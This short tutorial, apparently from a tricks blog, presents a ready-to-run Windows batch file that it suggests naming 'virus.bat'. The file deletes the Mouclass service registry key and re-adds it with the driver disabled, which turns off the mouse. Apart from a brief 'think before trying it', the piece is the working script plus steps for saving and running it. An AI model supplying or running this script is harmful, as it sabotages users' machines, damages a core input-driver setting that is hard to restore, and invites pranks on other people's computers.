Here's a trick which will disable mouse

Here's a trick which will disable mouse but think before trying it on your computer. 
1. Open Notepad and copy below codes

rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------

2. Save it as virus.bat
You can name anything instead of virus but .bat is must.